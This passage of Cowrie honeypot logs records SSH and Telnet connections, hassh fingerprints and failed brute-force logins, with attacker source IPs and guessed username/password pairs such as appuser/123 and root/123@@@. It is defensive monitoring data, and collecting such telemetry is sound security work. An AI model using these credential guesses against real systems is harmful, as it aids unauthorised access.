tp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:37:52.204429Z","src_ip":"159.203.92.129","session":"d6918c01bdb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"123","message":"login attempt [appuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:37:52.212932Z","src_ip":"159.203.92.129","session":"d6918c01bdb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:37:53.219110Z","src_ip":"159.203.92.129","session":"d6918c01bdb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":44454,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef87a636c203","protocol":"ssh","message":"New connection: 122.168.114.167:44454 (159.203.135.109:22) [session: ef87a636c203]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:37:55.371960Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":53356,"dst_ip":"159.203.135.109","dst_port":23,"session":"d471590070e4","protocol":"telnet","message":"New connection: 185.26.126.47:53356 (159.203.135.109:23) [session: d471590070e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:37:56.709779Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":53482,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3b09aa8dab0","protocol":"telnet","message":"New connection: 185.26.126.47:53482 (159.203.135.109:23) [session: a3b09aa8dab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:37:56.862928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:37:58.152822Z","src_ip":"122.168.114.167","session":"ef87a636c203","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:37:58.157058Z","src_ip":"122.168.114.167","session":"ef87a636c203","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.868417978286743,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:38:07.731251Z","src_ip":"185.26.126.47","session":"a3b09aa8dab0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:38:11.879706Z","src_ip":"122.168.114.167","session":"ef87a636c203","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.6","message":"Connection lost after 20.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:38:16.000264Z","src_ip":"122.168.114.167","session":"ef87a636c203","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":46866,"dst_ip":"159.203.135.109","dst_port":22,"session":"e65dd160ac55","protocol":"ssh","message":"New connection: 122.168.114.167:46866 (159.203.135.109:22) [session: e65dd160ac55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:38:33.183395Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47674,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d28fdf67bab","protocol":"ssh","message":"New connection: 159.203.92.129:47674 (159.203.135.109:22) [session: 4d28fdf67bab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:38:34.667631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:38:34.672034Z","src_ip":"159.203.92.129","session":"4d28fdf67bab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:38:34.676588Z","src_ip":"159.203.92.129","session":"4d28fdf67bab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"123456","message":"login attempt [appuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:38:34.688389Z","src_ip":"159.203.92.129","session":"4d28fdf67bab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:38:35.693700Z","src_ip":"159.203.92.129","session":"4d28fdf67bab","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:38:36.878958Z","src_ip":"122.168.114.167","session":"e65dd160ac55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:38:36.885070Z","src_ip":"122.168.114.167","session":"e65dd160ac55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.1290864944458,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:38:49.838759Z","src_ip":"185.26.126.47","session":"d471590070e4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"jasdeep","password":"jasdeep123","message":"login attempt [jasdeep/jasdeep123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:38:52.720499Z","src_ip":"122.168.114.167","session":"e65dd160ac55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"24.5","message":"Connection lost after 24.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:38:57.692123Z","src_ip":"122.168.114.167","session":"e65dd160ac55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":49282,"dst_ip":"159.203.135.109","dst_port":22,"session":"95bbee0e182d","protocol":"ssh","message":"New connection: 122.168.114.167:49282 (159.203.135.109:22) [session: 95bbee0e182d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:39:14.658704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:39:16.934169Z","src_ip":"122.168.114.167","session":"95bbee0e182d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:39:16.938042Z","src_ip":"122.168.114.167","session":"95bbee0e182d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43476,"dst_ip":"159.203.135.109","dst_port":22,"session":"37483d37833d","protocol":"ssh","message":"New connection: 159.203.92.129:43476 (159.203.135.109:22) [session: 37483d37833d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:39:18.280536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:39:18.285145Z","src_ip":"159.203.92.129","session":"37483d37833d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:39:18.289935Z","src_ip":"159.203.92.129","session":"37483d37833d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:39:18.300941Z","src_ip":"159.203.92.129","session":"37483d37833d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:39:19.306754Z","src_ip":"159.203.92.129","session":"37483d37833d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:39:29.189743Z","src_ip":"122.168.114.167","session":"95bbee0e182d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.8","message":"Connection lost after 18.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:39:33.448242Z","src_ip":"122.168.114.167","session":"95bbee0e182d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.250.118.179","src_port":15655,"dst_ip":"10.17.0.5","dst_port":23,"session":"cee32e2a705b","protocol":"telnet","message":"New connection: 187.250.118.179:15655 (10.17.0.5:23) [session: cee32e2a705b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:39:38.980087Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":51694,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfabe83ba63d","protocol":"ssh","message":"New connection: 122.168.114.167:51694 (159.203.135.109:22) [session: cfabe83ba63d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:39:52.104337Z"}
{"eventid":"cowrie.session.closed","duration":13.843423843383789,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:39:52.823386Z","src_ip":"187.250.118.179","session":"cee32e2a705b","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:39:54.863318Z","src_ip":"122.168.114.167","session":"cfabe83ba63d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:39:54.867241Z","src_ip":"122.168.114.167","session":"cfabe83ba63d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54382,"dst_ip":"159.203.135.109","dst_port":22,"session":"564ce6b06b90","protocol":"ssh","message":"New connection: 159.203.92.129:54382 (159.203.135.109:22) [session: 564ce6b06b90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:40:00.886306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:40:00.890990Z","src_ip":"159.203.92.129","session":"564ce6b06b90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:40:00.895742Z","src_ip":"159.203.92.129","session":"564ce6b06b90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser123","message":"login attempt [appuser/appuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:40:00.906933Z","src_ip":"159.203.92.129","session":"564ce6b06b90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:40:02.056816Z","src_ip":"159.203.92.129","session":"564ce6b06b90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eve","message":"login attempt [root/eve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:40:07.475439Z","src_ip":"122.168.114.167","session":"cfabe83ba63d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.8","message":"Connection lost after 18.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:40:10.945493Z","src_ip":"122.168.114.167","session":"cfabe83ba63d","protocol":"ssh"}
